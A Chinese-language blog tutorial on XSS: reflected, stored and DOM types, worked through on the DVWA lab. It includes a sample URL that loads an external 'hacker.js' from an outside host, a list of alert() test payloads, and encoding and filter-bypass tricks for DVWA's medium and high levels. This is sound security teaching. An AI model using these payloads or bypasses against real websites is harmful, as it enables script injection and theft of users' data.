XSS漏洞

XSS简介

XSS跨站脚本攻击(Cross Site Scripting),是将Java script代码插入web页面中,之后当用户浏览页面时, 会执行嵌套在web页面里面的Java script代码,从而达到攻击用户的目的。为了跟HTML里面的层叠样式表(CSS ,Cascading Style Sheets)作区分,所以叫作XSS.

XSS本质

恶意代码未经过滤,与网站正常的代码混在一起,浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。在部分情况下,由于输入的限制,注入的恶意脚本较短,但可以通过引入外部的脚本,并有浏览器执行,来完成比较复杂的攻击策略

理解:

XSS攻击和sql注入还蛮像的,都是注入恶意语句,但是xss是针对网站的

注入方式

  • 来自用户的 UGC 信息//UGC:UGC 互联网术语,全称为User Generated Content,也就是用户生成内容,即用户原创内容
  • 来自第三方的链接
  • URL 参数
  • POST 参数
  • Referer (可能来自不可信的来源)
  • Cookie (可能来自其他子域注入)

分类

根据攻击的来源,XSS攻击可以分为存储型,反射性和DOM型三种

类型 存储区 插入点
存储型XSS 后端数据库 HTML
反射型XSS URL HTML
DOM型XSS 后端数据库/前段存储/URL 前段JavaScript

参考:https://tech.meituan.com/2018/09/27/fe-security.html

反射型XSS攻击

反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索,跳转等。由于需要用户主动打开恶意的URL才能生效,攻击者往往会结合多种手段诱导用户点击。比如下面的URL:

1
http://x.x.x.x:8080/dosomething?message="<script src="http://www.hacktest.com:8002/xss/hacker.js"></script>" 或者 http://localhost/test.php?param=<script>alert(/xss/)</script> 

POST的内容也可以触发反射型XSS,只不过它的触发条件比较苛刻(构建表单提交页面,并引导用户点击),所以非常少见(但是不是可以)

攻击步骤

1.攻击者构造出特殊的URL,其中包含恶意代码.
2.用户打开有恶意代码的URL时,网站服务器端将恶意代码从URL取出,拼接在HTML返回给浏览器.
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也会被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作。

img

注意:Chrome和Safari能够检测到url上的xss攻击,将网页拦截掉,但是其他浏览器不行,如IE和Firefox。
图片来源:https://www.cnblogs.com/54chensongxia/p/11643787.html

存储型XSS攻击

恶意脚本永久存储在目标服务器上,当浏览器请求数据时,脚本从服务器传回并执行,影响范围比反射型和DOM型更大,存储型XSS攻击的原因仍然是没有做好数据过滤:前端提交数据至服务器端时,没有做好过滤;服务端在按受到数据时,在存储之前,没有做过滤;前端从服务器端请求到数据,没有过滤输出。

攻击步骤

1.攻击者将恶意代码提交到目标网站的数据库中。
2.用户打开目标网站时,网站服务端将恶意代码从数据库中取出,拼接在HTML中返回给浏览器。
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或冒充用户行为,调用目标网站接口执行攻击者指定的操作.
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖,商品评论,用户私信等。

DOM型XSS攻击

DOM型XSS攻击,实际上就是前端javascript代码不够严谨,把不可信的内容插入到了页面,在使用.innerHTML、.outerHTML、.appendChild、document.write()等API时要特别小心,不要把不可信的数据作为HTML插入到页面上,尽量使用.innerText、.textContent、.setAttribut()等.

攻击步骤

1.攻击者构造出特殊数据,其中包含恶意代码。
2.用户浏览器执行了恶意代码
3.恶意窃取用户数据并发送到攻击者的网站,或冒充用户行为,调用目标网站接口执行攻击者指定的操作.

tipDOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端javascript自身的安全漏洞.

参考来源:https://www.cnblogs.com/54chensongxia/p/11643787.html

学习完理论知识就可以开始实践了

实践

反射型:

根据前面的介绍我们知道,反射型XSS主要是构造于URL上(GET类型)以DVWA为例

img

我们查看页面源码img
img
当我们输入

1
2
3
<img src=1 onerror=alert(/xss/)/>
或者使用
<script>alert(/xss/)</script>//直接使用脚本语言
1
HTML <script> 元素用于嵌入或引用可执行脚本。这通常用作嵌入或者指向 JavaScript 代码。

参考:https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/script
以后,他在浏览器被渲染的时候,执行了 alert()函数后便会弹框
说明了,我们的危险语句在网页中发挥了作用
img

存储型:

存储型是指我们输入的代码被存储到数据库中,只要有用户点击该URL(产生查询数据库的操作),xss语句即发挥作用
img
img

当我们从其他页面点回来这个页面,这个窗口就会马上跳出,为什么呢?
就如前面所说的,这个页面要展现留言,肯定是调用了查询数据库的功能,并将其显示在网页上,而我们之前输出的语句因为也被存储在同一个数据库中,被查询出来显示在网页上,就会执行其中的html语句,也就是这个弹窗

DOM型:

DOM 操作:可以简单理解成“元素操作“,类似于你要更换背景颜色,更换语言,或者删除
img
img
可以看到这里做了一个更换语言的代码,将原本的语言替换成我们更换的语言,我们在url上插入恶意语句,单击替换即可看到页面弹出框,为什么会弹出框,就是因为我们的script语句被html识别并执行了

整理XSS常用语句及编码绕过

常用的测试语句有:

1
2
3
4
<script>alert(1)</script>
<img src=x(任意数) onerror=alert(1) >
<svg onload=alert(1)>
<a href=javascript:alert(1)>

关于svg(是一种图片格式)在HTML中可以使用的其他标签https://www.runoob.com/svg/svg-inhtml.html

1
2
<a>标签定义超链接,用于从一张页面链接到另一张页面。
标签的 href 属性用于指定超链接目标的 URL。href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了 <a> 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。

绕过姿势:

这里有必要再了解一下浏览器的解码与编码(看博客http原理)

JS编码:

JS提供了四种字符编码的策略:
1.三个八进制数字 如果个数不够,在前面补0 比如e的编码为\145
2.两个十六进制数字 同上 \x65
3.四个十六进制数字 \u0065
4.对于一些控制字符,使用特殊的C类型的转义风格(如\n和\r)

1
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

HTML实体编码

命名实体:以&开头,以分号结尾,例如<的编码为 “&lt”
字符编码: 十进制,十六进制ASCII码或Unicode字符编码,样式为”&#数值”
例如”<”可以编码为”&#060;“和&#x3c

1
2
3
<a
href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61
%6c%65%72%74%28%32%29">

URL编码

1
2
3
<a
href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61
%6c%65%72%74%28%32%29">

实战——dvwa

medium

中级阶段是过滤了<script>标签
这里有两种绕过方法:1.使用其他类型的标签,例如<img>
2.复写标签,跟sql注入的绕过一样,因为他这里也是值替换一次

high

这里就是完全过滤script,复写也没用,所以就是用其他类型的标签进行绕过就行了

impossible

记得们之前提过,控制字符被转化为实体编码,被解码后会被当做普通字符,这里将所有的控制字符都转码了,所以我们输入的语句就都不会被执行了。

Author

vague huang

Posted on

2021-01-28

Updated on

2021-01-30

Licensed under

Comments